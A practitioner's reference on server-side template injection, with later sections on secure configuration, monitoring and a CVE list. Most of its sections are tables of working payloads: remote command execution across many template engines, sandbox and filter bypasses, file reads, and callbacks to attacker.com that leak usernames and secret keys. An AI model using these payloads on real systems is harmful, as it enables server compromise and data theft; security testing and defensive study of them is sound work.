Comprehensive SSTI Guide

A practitioner’s reference for Server-Side Template Injection — template engine vulnerabilities, exploitation techniques, payload development, framework-specific attacks, and defense strategies. Covers detection methodologies, engine-specific exploitation, and secure templating practices. Compiled from 40 research sources.


Table of Contents

  1. Fundamentals
  2. Detection & Identification
  3. Template Engine Exploitation
  4. Framework-Specific Attacks
  5. Payload Development
  6. Advanced Exploitation
  7. Bypass Techniques
  8. Testing Methodology
  9. Secure Implementation
  10. Detection & Prevention
  11. CVE Reference

1. Fundamentals

SSTI Attack Surface

Template ContextRisk LevelCommon Locations
User Input RenderingCriticalEmail templates, reports, dynamic pages
Configuration FilesHighTemplate-based configs, dynamic routing
Error MessagesMediumCustom error pages, debug output
Log MessagesLowLog formatting, audit trails
Email Workflow TemplatesCriticalNotification templates, marketing emails (Shopify Return Magic, Fides)
Recipe/CMS Content FieldsCriticalUser-editable content rendered by template engines (Tandoor Recipes, Alfresco)
JMS/Message HeadersHighApache Camel template override headers (CamelFreemarkerTemplate, CamelVelocityTemplate)

Template Engine Landscape

EngineLanguagePopularityExploitation Difficulty
Jinja2PythonVery HighMedium
TwigPHPHighMedium
FreeMarkerJavaHighHigh
VelocityJavaMediumHigh
ThymeleafJavaMediumMedium
SmartyPHPMediumLow
MakoPythonLowLow
HandlebarsNode.jsVery HighMedium
Pug (Jade)Node.jsHighMedium
Go html/templateGoMediumHigh (context-dependent)
Go text/templateGoMediumMedium
JellyJavaMedium (ServiceNow)Medium
MVELJavaLowLow
MustacheMulti-languageMediumHigh (logicless by design)
TornadoPythonMediumMedium

2. Detection & Identification

Detection Methodology

SSTI DETECTION FLOW:
1. Identify template injection points
2. Test mathematical expressions
3. Analyze error messages
4. Determine template engine
5. Craft engine-specific payloads
6. Test blind detection via time-based or OOB channels

Basic Detection Payloads

Test CasePayloadExpected Result
Mathematical${7*7}49 if vulnerable
Mathematical{​{7*7}}49 if vulnerable
Mathematical<%=7*7%>49 if vulnerable
String Concatenation${'a'+'b'}ab if vulnerable
Function Call${T(java.lang.System).getProperty('user.name')}Username if Spring EL
Go Detection{​{ . }}Memory address of passed object if Go template
Handlebars Detection{​{this}}[object Object] if Handlebars
FreeMarker String${"Hello " + "World"}Hello World if FreeMarker
FreeMarker Array${["one", "two", "three"][1]}two if FreeMarker
FreeMarker Length${"test"?length}4 if FreeMarker
FreeMarker Date${.now?string("yyyy-MM-dd")}Current date if FreeMarker
Jelly (ServiceNow)<g:evaluate>gs.addErrorMessage(668.5*2);</g:evaluate>1337 in error message
Thymeleaf Inline[[${7*7}]]49 if Thymeleaf expression inlining

Template Engine Fingerprinting

IDENTIFICATION DECISION TREE:
├── {​{7*7}} = 49
│   ├── {​{this}} = [object Object] → Handlebars (Node.js)
│   ├── Jinja2 (Python)
│   ├── Twig (PHP) 
│   └── Nunjucks (Node.js)
├── ${7*7} = 49
│   ├── ${"test"?length} = 4 → FreeMarker (Java)
│   ├── ${T(java.lang.Runtime)} works → Spring EL (Java)
│   └── Velocity (Java)
├── <%=7*7%> = 49
│   ├── ERB (Ruby)
│   └── ASP Classic
├── {7*7} = 49
│   └── Smarty (PHP)
├── {​{ . }} = memory address
│   └── Go html/template or text/template
├── [[${7*7}]] = 49
│   └── Thymeleaf (Java) expression inlining
└── <g:evaluate>...</g:evaluate> executes
    └── Jelly (ServiceNow)

Blind SSTI Detection

MethodPayload ExampleVerification
Time-based (Jinja2){​{''.__class__.__mro__[1].__subclasses__()[59].__init__.__globals__['os'].popen('sleep 10').read()}}Response delay
Time-based (FreeMarker)<#assign ex="freemarker.template.utility.Execute"?new()>${ex("sleep 10")}Response delay
DNS Exfiltration{​{''.__class__.__mro__[1].__subclasses__()[59].__init__.__globals__['os'].popen('nslookup x.attacker.com').read()}}DNS logs
HTTP CallbackJinja2 urllib.request.urlopen to attacker URLHTTP logs

3. Template Engine Exploitation

Jinja2 (Python) Exploitation

Attack VectorPayloadImpact
Basic RCE{​{config.__class__.__init__.__globals__['os'].popen('id').read()}}Command execution
Subprocess{​{''.__class__.__mro__[1].__subclasses__()[104].__init__.__globals__['sys'].modules['subprocess'].check_output('whoami',shell=True)}}Command execution
File Read{​{''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read()}}File access
Config Access{​{config.SECRET_KEY}}Sensitive data exposure
Lipsum Shorthand{​{lipsum.__globals__}}Bypass length limits
Cycler RCE{​{cycler.__init__.__globals__.os.popen('id').read()}}Shorter RCE payload
Hex-encoded attr(){​{()|attr('\x5f\x5fclass\x5f\x5f')|attr('\x5f\x5fbase\x5f\x5f')|attr('\x5f\x5fsubclasses\x5f\x5f')()|attr('\x5f\x5fgetitem\x5f\x5f')(418)('id',shell=True,stdout=-1)|attr('communicate')()|attr('\x5f\x5fgetitem\x5f\x5f')(0)|attr('decode')('utf-8')}}Filter bypass RCE (CVE-2025-23211)
Warning class import{​% for s in ().__class__.__base__.__subclasses__() %}{​% if "warning" in s.__name__ %}{​{s()._module.__builtins__['__import__']('os').popen("env").read()}}{​% endif %}{​% endfor %}RCE via warning subclass (Fides advisory)

Twig (PHP) Exploitation

TWIG ATTACK PATTERNS:
├── Filter Abuse
│   ├── {​{_self.env.registerUndefinedFilterCallback("exec")}}
│   ├── {​{_self.env.getFilter("id")}}
│   └── {​{["id"]|filter("system")}}
├── Function Injection
│   ├── {​{_self.env.registerUndefinedFunction("exec")}}
│   └── {​{_self.env.getFunction("system")}}
├── Object Injection
│   ├── {​{app.request.query.get('cmd')|passthru}}
│   └── {​{dump(app)}} (information disclosure)
└── Escape Handler Abuse (Grav CMS — GHSA-2m7x-c7px-hp58)
    ├── {​{ grav.twig.twig.extensions.core.setEscaper('system','twig_array_filter') }}
    └── {​{ ['id'] | escape('system', 'system') }}
    (Redefine escape function via setEscaper to system(), bypasses sandbox when not enabled)

FreeMarker (Java) Exploitation

TechniquePayloadDescription
Object Creation<#assign ex="freemarker.template.utility.Execute"?new()> ${ex("id")}Command execution
Static Method Call${"freemarker.template.utility.ObjectConstructor"?new()("java.lang.ProcessBuilder","id").start()}Process creation
File System Access<#assign fos=freemarker.template.utility.ObjectConstructor("java.io.FileOutputStream","/tmp/test")>File manipulation
?lower_abc Filter Bypass${(6?lower_abc+18?lower_abc+...)?new()(9?lower_abc+4?lower_abc)}Reconstruct “freemarker.template.utility.Execute” char-by-char to bypass keyword blocklists
CamelContext Sandbox Escape<#assign cr=camelContext.getClassResolver()><#assign i=camelContext.getInjector()><#assign se=i.newInstance(cr.resolveClass('javax.script.ScriptEngineManager'))>${se.getEngineByName("js").eval("...")}RCE even with ClassResolver sandbox enabled (Apache Camel)
CamelContext Language$camelContext.resolveLanguage("groovy").createExpression(<PAYLOAD>).evaluate(exchange, Object.class)Groovy expression via Camel context
Alfresco Sandbox BypassExploit exposed objects in FreeMarker templates to bypass restrictions (CVE-2023-49964, incomplete fix for CVE-2020-12873)RCE in Alfresco CMS

Handlebars (Node.js) Exploitation

TechniquePayloadDescription
Prototype Pollution + AST InjectionPollute Object.prototype.type = 'Program' and Object.prototype.body with crafted AST containing RCE in NumberLiteral valueBypass parser validation, inject code directly into compiler
Constructor Chain`{​{#with “s” asstring
toString Override + bind()Override Object.prototype.toString via defineProperty, use bind() to create function returning attacker payload, then invoke via Function constructorFull RCE without scope-defined functions (Shopify Return Magic)
pendingContent DetectionPollute Object.prototype.pendingContent with test stringDetect Handlebars engine in black-box with prototype pollution

Pug (Node.js) Exploitation

TechniquePayloadDescription
AST Injection via blockPollute Object.prototype.block = {"type":"Text","val":"<script>alert(origin)</script>"}XSS/content injection via prototype pollution
Code Injection via linePollute Object.prototype.block.type = "Code" with body containing RCE payloadCommand execution via AST manipulation

Thymeleaf (Java) Exploitation

THYMELEAF ATTACK PATTERNS:
├── Expression Preprocessing Double-Eval
│   ├── __${path}__ preprocesses user input, result evaluated as expression
│   ├── URL path injection: http://target/(${T(java.lang.Runtime).getRuntime().exec('calc')})
│   └── Works on Jetty (allows {} in path), blocked on Tomcat (URL-encodes {})
├── Spring Boot 3.3.4 Denylist Bypass (modzero research)
│   ├── Thymeleaf blocks T() for static class access and org.springframework.util.ReflectionUtils
│   ├── Bypass via org.apache.commons.lang3.reflect.MethodUtils (not on denylist)
│   ├── "".class.forName("org.apache.commons.lang3.reflect.MethodUtils")
│   │   .invokeMethod(
│   │     "".class.forName("org.apache.commons.lang3.reflect.MethodUtils")
│   │       .invokeStaticMethod("".class.forName("java.lang.Runtime"),"getRuntime"),
│   │     "exec", "whoami")
│   └── Full payload reads command output via IOUtils + file write for non-blind RCE
├── CVE-2023-38286 (Spring Boot Admin)
│   ├── Bypass Thymeleaf blacklists via ReflectionUtils (older versions)
│   ├── th:with chaining: findMethod → invokeMethod → exec
│   └── Requires MailNotifier enabled + write access to env vars
└── CVE-2022-46166 (Spring Boot Admin)
    └── RCE via variable coverage in notification templates

Velocity (Java) Exploitation

TechniquePayloadDescription
CamelContext RCE${camelContext.class.forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval("...")}RCE via JavaScript engine in Apache Camel
Template OverrideSend CamelVelocityTemplate header to override default templateDynamic template injection via message headers
Resource URI OverrideSend CamelVelocityResourceUri header pointing to file:///etc/passwdArbitrary file disclosure

MVEL (Java) Exploitation

TechniquePayloadDescription
Direct RCE@{java.lang.Runtime.getRuntime().exec('id')}Direct runtime access
ObjectFactory RCE@{com.sun.org.apache.xerces.internal.utils.ObjectFactory.newInstance("javax.script.ScriptEngineManager",null,false).getEngineByName('js').eval("...")}Via ScriptEngine
Template OverrideSend CamelMvelTemplate headerApache Camel dynamic template

Go Template Exploitation

GO SSTI ATTACK PATTERNS:
├── Detection
│   └── {​{ . }} — prints memory address/object dump of passed struct
├── Data Leakage
│   ├── {​{ .Email }} / {​{ .Password }} — access struct fields
│   └── Leaks any exported field on the passed object
├── Method Invocation
│   ├── {​{ .MethodName "arg" }} — call exported methods on passed struct
│   └── Methods must be exported (capitalized) to be callable
├── Gin Framework Gadgets
│   └── {​{ .Writer.WriteString "<script>alert(1)</script>" }} — XSS via response writer
├── Echo Framework Gadgets
│   ├── {​{ .File "/etc/passwd" }} — arbitrary file read
│   ├── {​{ .Attachment "/etc/passwd" "passwd" }} — file read via attachment
│   ├── {​{ .Inline "/etc/passwd" "passwd" }} — file read inline
│   └── {​{ $x:=.Echo.Filesystem.Open "/etc/hostname" }} {​{ $x.Seek 1 0 }} {​{ .Stream 200 "text/plain" $x }} — file read with I/O control
├── Fiber Framework Gadgets
│   ├── {​{ .App.Shutdown }} — denial of service
│   └── {​{ .Response.SendFile "/etc/hostname" }} {​{ .Response.Body }} — file read via fasthttp.Response
├── Method Confusion (OnSecurity Research)
│   ├── If passed object type matches a method's receiver, call with custom params
│   ├── echo.Context.File("path") gadget for arbitrary file read
│   └── Gadget hunting: search imported modules for exported methods with dangerous behavior
└── text/template vs html/template
    ├── text/template allows direct "call" for public functions — higher risk
    └── html/template restricts call — requires gadget chains

Jelly (ServiceNow) Exploitation

TechniquePayloadDescription
Template Injection Probe<g:evaluate>gs.addErrorMessage(668.5*2);</g:evaluate>Confirm injection via math result (1337) in error message
DB Credential TheftInject <g:evaluate> to read glide.db.properties via SecurelyAccess + getBufferedReader()Extract database connection strings
Chained ExploitationCVE-2024-4879 (title injection) + CVE-2024-5217 (mitigation bypass) + CVE-2024-5178 (file filter bypass)Full RCE chain on ServiceNow
Style Tag BypassEmbed Jelly tags inside <style> element in jvar_page_title parameterBypass basic input validation

4. Framework-Specific Attacks

Spring Framework (Java)

ContextPayloadImpact
Spring EL${T(java.lang.Runtime).getRuntime().exec('id')}RCE
SpEL Injection#{T(java.lang.System).getProperty('user.name')}Information disclosure
Request Context${@requestMappingHandlerMapping.getApplicationContext().getEnvironment().getProperty('java.version')}Environment access
Thymeleaf Double-Eval'+${7*7}+' in Referer header with __${Referer}__ preprocessingRCE via preprocessing (modzero)
MethodUtils Bypass"".class.forName("org.apache.commons.lang3.reflect.MethodUtils").invokeStaticMethod(...)Bypass Thymeleaf denylist in Spring Boot 3.3.4+
WebAsyncManager Header ExfilAccess #ctx.getVariable("...WebAsyncManager...") to read request headers and write responseNon-blind RCE without outbound connections

Django (Python)

DJANGO TEMPLATE ATTACKS:
├── Debug Information
│   ├── {​{settings.SECRET_KEY}}
│   ├── {​{settings.DATABASES}}
│   └── {​{settings.DEBUG}}
├── Object Traversal
│   ├── {​{request.META}}
│   ├── {​{request.user}}
│   └── {​{request.session}}
└── Filter Abuse
    ├── Custom filters with dangerous functions
    └── Template tag injection

Laravel (PHP)

Attack TypePayloadResult
Blade RCE@php(system('id')) @endphpCommand execution
Variable Access{​{$app->make('config')->get('database.default')}}Configuration disclosure
Helper Function{​{app('Illuminate\Contracts\Console\Kernel')->call('route:list')}}Application introspection

Apache Camel (Java)

APACHE CAMEL SSTI (CVE-2020-11994):
├── Affected Components
│   ├── camel-freemarker (CamelFreemarkerTemplate header)
│   ├── camel-velocity (CamelVelocityTemplate header)
│   ├── camel-mvel (CamelMvelTemplate header)
│   └── camel-mustache (MustacheResourceUri header — file disclosure only)
├── Attack Pattern
│   ├── Override default template via message header injection
│   ├── Header source depends on consumer: JMS properties, HTTP headers, etc.
│   └── ResourceUri headers enable arbitrary file disclosure (file:///etc/passwd)
├── Sandbox Bypass
│   ├── camelContext object exposed in template context
│   ├── getInjector() + getClassResolver() → instantiate arbitrary classes
│   └── resolveLanguage("groovy") → evaluate arbitrary Groovy expressions
└── Impact
    └── RCE + Arbitrary File Disclosure across all template components

Grav CMS (PHP/Twig)

Attack TypePayloadResult
setEscaper Abuse{​{ grav.twig.twig.extensions.core.setEscaper('system','twig_array_filter') }} then {​{ ['id'] | escape('system', 'system') }}RCE by redefining escape filter to system()
Root CauseTwig sandbox not enabled; unrestricted access to extension classes via template contextArbitrary callable registration

5. Payload Development

Payload Construction Strategy

PAYLOAD DEVELOPMENT PROCESS:
├── Environment Discovery
│   ├── Available classes/modules
│   ├── Security restrictions
│   └── Execution context
├── Bypass Development
│   ├── Filter evasion
│   ├── Character restrictions
│   └── Length limitations
├── Payload Optimization
│   ├── Minimize detection
│   ├── Maximize impact
│   └── Ensure reliability
└── Multi-Stage Delivery
    ├── Store payload in persistent objects (Jinja2 config object)
    ├── Retrieve and execute across separate requests
    └── Useful when injection point has size limits (email fields)

Common Payload Patterns

GoalPython/Jinja2PHP/TwigJava/FreeMarkerNode.js/HandlebarsGo
List Classes{​{''.__class__.__mro__[1].__subclasses__()}}{​{dump()}}<#list .data_model?keys as key>${key}</#list>{​{this}}{​{ . }}
Execute Command{​{cycler.__init__.__globals__.os.popen('id').read()}}{​{_self.env.registerUndefinedFilterCallback("system")}}<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}Prototype pollution + AST injectionN/A (gadget-dependent)
Read File{​{get_flashed_messages.__globals__['current_app'].open_resource('../../../etc/passwd').read()}}{​{include('/etc/passwd')}}<#assign file=...ObjectConstructor("java.io.File","/etc/passwd")>N/A{​{ .File "/etc/passwd" }} (Echo)

Size-Limited Payload Technique (Jinja2)

MULTI-REQUEST PAYLOAD STAGING:
1. Store payload in config object via short injection:
   {​{config.update(a=request.args.get('a'))}}
   with URL parameter: ?a=<long RCE payload>

2. Verify storage:
   {​{config.a}}

3. Execute stored payload:
   {​{''.__class__.__mro__[1].__subclasses__()...__globals__['os'].popen(config.a).read()}}

Use case: SSTI in email fields with RFC-imposed size limits

6. Advanced Exploitation

Blind SSTI Exploitation

Detection MethodPayloadVerification
Time-based{​{''.__class__.__mro__[1].__subclasses__()[59].__init__.__globals__['time'].sleep(5)}}Response delay
DNS Exfiltration{​{''.__class__.__mro__[1].__subclasses__()[59].__init__.__globals__['os'].popen('nslookup whoami.attacker.com').read()}}DNS logs
HTTP Callback{​{''.__class__.__mro__[1].__subclasses__()[59].__init__.__globals__['urllib'].request.urlopen('http://attacker.com/'+config.SECRET_KEY)}}HTTP logs

Sandbox Escape Techniques

SANDBOX BYPASS METHODS:
├── Python/Jinja2
│   ├── __builtins__ access via globals
│   ├── Class traversal to dangerous modules
│   ├── Import statement reconstruction
│   └── Warning subclass → __builtins__['__import__'] chain
├── Java/FreeMarker
│   ├── ObjectConstructor for arbitrary class instantiation
│   ├── Static method calls via ?new()
│   ├── Reflection API abuse
│   ├── CamelContext.getInjector() + getClassResolver() (Apache Camel)
│   └── ScriptEngineManager for Groovy/JavaScript eval
├── Java/Thymeleaf
│   ├── Expression preprocessing (__...__) double-evaluation
│   ├── org.apache.commons.lang3.reflect.MethodUtils (bypass Spring Boot 3.3.4 denylist)
│   ├── "".class.forName() to load arbitrary classes
│   └── ReflectionUtils (older versions, now denylisted)
├── PHP/Twig
│   ├── Filter/function registration
│   ├── Object property access
│   ├── Include/eval function calls
│   └── setEscaper() to redefine escape function as system() (Grav CMS)
└── Node.js/Handlebars
    ├── AST Injection via prototype pollution (bypass parser entirely)
    ├── Function constructor via this.constructor.constructor
    ├── Object.prototype.toString override + bind() for RCE
    └── Built-in helper abuse (with, blockHelperMissing)

Prototype Pollution to SSTI (Node.js)

PROTOTYPE POLLUTION → SSTI CHAIN:
├── Handlebars
│   ├── Pollute Object.prototype.type = "Program"
│   ├── Pollute Object.prototype.body with AST containing RCE in NumberLiteral.value
│   ├── Template string bypasses parser (treated as pre-parsed AST)
│   └── Compiler executes injected code directly
├── Pug
│   ├── Pollute Object.prototype.block with {type:"Text", val:"<payload>"}
│   ├── When ast.type is "While", walkAST follows ast.block (uses prototype)
│   └── High reliability: any template referencing arguments triggers it
└── Detection
    ├── Handlebars: Object.prototype.pendingContent = "<test>" → appears in output
    └── Pug: Object.prototype.block = {type:"Text", val:"<test>"} → appears in output

7. Bypass Techniques

Filter Evasion

RestrictionBypass TechniqueExample
Keyword BlacklistString concatenation{​{'sy'+'stem'}}
Character FilteringUnicode/Encoding{​{'\u0073\u0079\u0073\u0074\u0065\u006d'}}
Length LimitsShortened payloads{​{lipsum.__globals__}}
Quotes BlockedString methods{​{request.args.cmd|system}}
Keyword Blacklist (FreeMarker)?lower_abc encoding6?lower_abc = “f”, reconstruct class names char-by-char
Attribute Name FilteringHex-encoded attr()|attr('\x5f\x5fclass\x5f\x5f') instead of .__class__
Size LimitConfig object stagingStore payload in config.a via one request, execute in another
Thymeleaf Static Class Blockcommons-lang3 MethodUtilsUse "".class.forName(...) to load non-denylisted reflection class
ServiceNow MitigationStyle tag wrapper + Jelly xmlnsEmbed <g:evaluate> inside <style> tags

WAF Bypass Strategies

WAF EVASION TECHNIQUES:
├── Encoding Variations
│   ├── URL encoding (%7B%7B)
│   ├── Unicode encoding (\u007B\u007B)
│   └── HTML entity encoding (&lbrace;&lbrace;)
├── Structure Manipulation
│   ├── Whitespace insertion {​{  7*7  }}
│   ├── Comment insertion {# comment #}
│   └── Nested expressions {​{7*{​{7}}}}
├── Payload Fragmentation
│   ├── Multi-step injection
│   ├── Context-dependent payloads
│   └── Request splitting
├── FreeMarker-Specific
│   ├── ?lower_abc / ?upper_abc character reconstruction
│   ├── 1.1?c[1] to generate dot character
│   └── Numeric built-in abuse to construct arbitrary strings
└── Thymeleaf-Specific
    ├── Preprocessor double-evaluation via __${...}__
    ├── @{} link expression parentheses to clear context
    └── Server-specific: Jetty allows {} in URL path, Tomcat blocks

8. Testing Methodology

Manual Testing Workflow

PhaseActivitiesTools/Techniques
DiscoveryInput point identificationBurp Suite, manual analysis
DetectionTemplate injection testingMathematical expressions, error analysis
IdentificationTemplate engine fingerprintingSpecific syntax testing, decision tree
ExploitationPayload developmentEngine documentation, trial and error
Impact AssessmentPrivilege escalation, data accessFull exploitation chains
Blind ValidationTime-based and OOB testingsleep commands, DNS/HTTP callbacks

Automated Testing Tools

SSTI TESTING ARSENAL:
├── Detection Tools
│   ├── tplmap (comprehensive scanner — epinna)
│   ├── SSTImap (exploitation framework — vladko312)
│   ├── Burp extensions (various)
│   └── Nuclei templates (e.g., CVE-2024-5217.yaml)
├── Payload Generators
│   ├── PayloadsAllTheThings (payload collection)
│   ├── SecLists (template payloads)
│   └── Custom scripts
├── Framework-Specific
│   ├── j2eeTester (Java templates)
│   ├── TwigSecurityChecker (Twig)
│   └── JinjaSecurityScanner (Jinja2)
├── Reconnaissance
│   ├── Shodan/Censys/FOFA (identify exposed instances, e.g., ServiceNow)
│   └── Nuclei for automated version/vulnerability probing
└── CI/CD Integration
    ├── SAST rules: flag {​{{ in .hbs files (Handlebars triple braces)
    ├── Secrets scanners: detect credentials in templates
    └── Build guardrails: break on unsafe patterns

9. Secure Implementation

Secure Template Design Principles

PrincipleImplementationSecurity Benefit
Input ValidationStrict allowlist validationPrevents injection
Context IsolationSeparate template contextsLimits impact
Minimal PrivilegesRestricted template capabilitiesReduces attack surface
Output EncodingAutomatic encodingPrevents XSS
Sandbox EnforcementEnable template engine sandbox modeLimits exploitation scope
Least Privilege ContainersRun containers as non-rootLimits post-exploitation impact (CVE-2025-23211)

Framework-Specific Security

SECURE CONFIGURATION:
├── Jinja2/Django
│   ├── autoescape=True (XSS prevention)
│   ├── Restrict dangerous globals
│   ├── Custom filter validation
│   └── Use SandboxedEnvironment for user-controlled templates
├── Twig/Symfony
│   ├── Strict mode enabled
│   ├── Sandbox mode for user content (prevents setEscaper abuse)
│   ├── Function/filter allowlisting
│   └── Block access to internal extension objects
├── FreeMarker/Spring
│   ├── Restricted method calls
│   ├── Template loading restrictions
│   ├── API access controls
│   └── Use TemplateClassResolver.ALLOWS_NOTHING_RESOLVER
├── Thymeleaf/Spring Boot
│   ├── Avoid expression preprocessing (__...__) with user input
│   ├── Denylist covers java.*, javax.*, org.springframework.util.*
│   ├── Audit third-party libs (commons-lang3 MethodUtils still exploitable)
│   └── Prefer Tomcat over Jetty (Tomcat blocks {} in URL paths)
├── Handlebars/Node.js
│   ├── Always use double braces {​{ }} (auto-escaping), never triple {​{{ }}}
│   ├── Audit custom helpers — never use SafeString with user input
│   ├── Protect against prototype pollution (freeze Object.prototype, use Maps)
│   └── Keep dependencies updated (prototype pollution CVEs)
├── Go Templates
│   ├── Prefer html/template over text/template (restricts "call")
│   ├── Never pass entire framework context (gin.Context, echo.Context) to templates
│   ├── Create minimal view structs with only needed fields
│   └── Avoid exported methods with dangerous behavior on passed types
├── ServiceNow/Jelly
│   ├── Apply vendor patches promptly (CVE-2024-4879 exploited in wild)
│   ├── Sanitize jvar_page_title and similar parameters
│   └── Monitor for Jelly tag injection patterns in logs
└── General Practices
    ├── Pre-compile templates (never build from user strings)
    ├── Validate all inputs
    ├── Monitor template rendering
    └── Run applications as non-root in containers

10. Detection & Prevention

Runtime Protection

ControlImplementationEffectiveness
Input SanitizationRemove template syntaxHigh (if comprehensive)
Template SandboxingRestricted execution environmentMedium (bypass possible)
Content Security PolicyRestrict dynamic contentLow (server-side attack)
Web Application FirewallPattern-based blockingMedium (bypass common)
Prototype Pollution PreventionObject.freeze, Map usage, input validationHigh (prevents AST injection in Node.js)

Monitoring & Detection

DETECTION STRATEGIES:
├── Log Analysis
│   ├── Template rendering errors
│   ├── Unusual template patterns ({​{, ${, <#, <g:evaluate>)
│   ├── Performance anomalies
│   └── ServiceNow: monitor login.do for Jelly tag injection
├── Runtime Monitoring
│   ├── Template execution time (detect sleep-based blind SSTI)
│   ├── Memory consumption
│   ├── System call monitoring (exec, popen, ProcessBuilder)
│   └── DNS/HTTP outbound connections from template rendering
├── Security Scanning
│   ├── Regular SAST scans (CodeQL, Semgrep)
│   ├── DAST testing (tplmap, SSTImap, Nuclei)
│   ├── Dependency vulnerability checks (prototype pollution in Node.js)
│   └── Internet exposure scanning (Shodan, Censys, FOFA)
└── Supply Chain
    ├── Monitor npm advisories for Handlebars, Pug, flat
    ├── Track Java dependency updates (FreeMarker, Thymeleaf, commons-lang3)
    └── Automated SCA in CI/CD pipelines

Incident Response

PhaseActionsConsiderations
DetectionLog analysis, alert investigationFalse positive filtering
ContainmentTemplate access restrictionService availability
EradicationVulnerable template removalCode deployment
RecoverySecure template implementationTesting requirements
Lessons LearnedProcess improvementTraining needs

11. CVE Reference

CVEProductEngineCVSSImpact
CVE-2024-4879ServiceNowJelly9.3Unauthenticated RCE via title injection
CVE-2024-5217ServiceNowJelly9.2Template injection mitigation bypass
CVE-2024-5178ServiceNowJelly6.9Filesystem filter bypass, sensitive file read
CVE-2025-23211Tandoor RecipesJinja29.9Authenticated SSTI to root RCE in Docker
CVE-2023-38286Spring Boot AdminThymeleafRCE via Thymeleaf blacklist bypass
CVE-2022-46166Spring Boot AdminThymeleafRCE via variable coverage in notifiers
CVE-2023-49964AlfrescoFreeMarkerSSTI sandbox bypass (incomplete fix of CVE-2020-12873)
CVE-2020-12873AlfrescoFreeMarkerOriginal SSTI via exposed FreeMarker objects
CVE-2020-11994Apache CamelFreeMarker/Velocity/MVEL/MustacheRCE + file disclosure via template header override
CVE-2024-29178Apache StreamParkFreeMarkerFreeMarker SSTI to RCE
CVE-2019-20920Handlebars (npm)HandlebarsPrototype pollution leading to RCE
GHSA-2m7x-c7px-hp58Grav CMSTwigRCE via setEscaper() without sandbox
GHSA-c34r-238x-f7qxFidesJinja2RCE via unsandboxed email template rendering

Key Takeaways

  1. Input Validation: Never trust user input in template contexts
  2. Template Isolation: Separate user-controlled and system templates
  3. Minimal Privileges: Restrict template engine capabilities
  4. Regular Testing: Include SSTI in security testing processes
  5. Framework Updates: Keep template engines updated with security patches
  6. Sandbox Enforcement: Always enable sandbox mode when user content is rendered by template engines
  7. Prototype Pollution Awareness: In Node.js, prototype pollution can chain to full SSTI/RCE even in “logicless” engines like Handlebars
  8. Context Minimization: Pass only minimal data structures to templates — never entire framework contexts (Go, Spring)
  9. Container Hardening: Run applications as non-root to limit post-exploitation impact
  10. Supply Chain Monitoring: Track template engine dependency vulnerabilities in CI/CD

This guide compiles practical SSTI knowledge from 40 research sources. Template injection vulnerabilities remain common due to the complexity of modern template engines and their powerful features. The attack surface extends beyond traditional web frameworks to message-driven architectures (Apache Camel), CMS platforms (Alfresco, Grav), enterprise IT management (ServiceNow), and Node.js prototype pollution chains.